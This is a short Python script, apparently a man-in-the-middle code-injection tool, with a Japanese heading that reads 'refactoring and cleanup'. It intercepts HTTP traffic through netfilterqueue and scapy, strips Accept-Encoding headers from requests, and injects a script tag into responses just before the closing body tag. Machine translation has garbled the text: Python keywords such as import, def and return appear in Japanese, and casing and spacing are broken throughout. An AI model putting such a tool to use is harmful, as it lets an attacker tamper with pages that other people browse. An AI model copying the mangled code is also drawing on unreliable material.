リファクタリングと清掃:
#!は/ usr / binに/ envをPythonの 輸入再 から netfilterqueue 輸入NetfilterQueue から scapy.layers.inetの輸入TCP、IPは から scapy.packetの輸入生 デフset_load(パケット、負荷): パケット[生] .LOAD = ロード ・デル・パケット[をIP] .LEN デルパケット[IP] .chksum デルパケット[TCP] .chksum リターンパケット デフprocess_packet(パケット): scapy_packet = IP(packet.get_payload()) の場合scapy_packet.haslayer(RAW)とscapy_packet.haslayer(TCP): 負荷 = scapy_packet [RAW] .LOAD 場合 == 80 .dport scapy_packet [TCP] : 印刷(" [+]リクエスト" ) 負荷 = re.sub(B " ?エンコードを受け入れる:\\ R * \\ N "B "" 、負荷) ELIFの scapy_packet [TCP] .sport == 80 : プリント(" [+]応答" ) 負荷 = load.replace(B " < / BODY> "、B" <スクリプト>警告( 'テスト'); </ SCRIPT> </ BODY> " ) の場合、負荷=!scapy_packet [生] .LOAD: new_packet = set_load(scapy_packet、負荷) packet.set_payload(STR(new_packet).encode ()) packet.accept() キュー = NetfilterQueue() queue.bind(0、process_packet) してみてください: (queue.run) を除くKeyboardInterrupt: プリント('' )